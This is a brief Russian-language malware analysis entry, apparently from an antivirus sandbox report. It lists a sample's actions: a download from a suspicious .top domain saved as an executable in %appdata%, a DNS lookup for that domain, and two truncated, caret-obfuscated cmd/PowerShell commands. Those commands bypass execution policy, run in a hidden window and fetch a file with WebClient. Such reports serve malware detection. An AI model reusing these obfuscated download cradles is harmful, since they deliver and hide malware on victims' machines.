Техническая информация
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "P^OWE^RsH^elL^.^Ex^e -^EX^Ec^uTIoNpoLI^Cy^ ^B^Y^PAss -^noPr^oFI^L^e ^-W^IN^Do^wS^TYLe ^H^iddE^n^ (nEw^-ObJ^e^CT S^y^ste^m.^Net^.weBcL^iENt^).Dow^nl^O^A^dfi^le(^'http://coolzeropa...
- DNS ASK co###eropa.top
- '<SYSTEM32>\cmd.exe' /c "P^OWE^RsH^elL^.^Ex^e -^EX^Ec^uTIoNpoLI^Cy^ ^B^Y^PAss -^noPr^oFI^L^e ^-W^IN^Do^wS^TYLe ^H^iddE^n^ (nEw^-ObJ^e^CT S^y^ste^m.^Net^.weBcL^iENt^).Dow^nl^O^A^dfi^le(^'http://coolzeropa...' (со скрытым окном)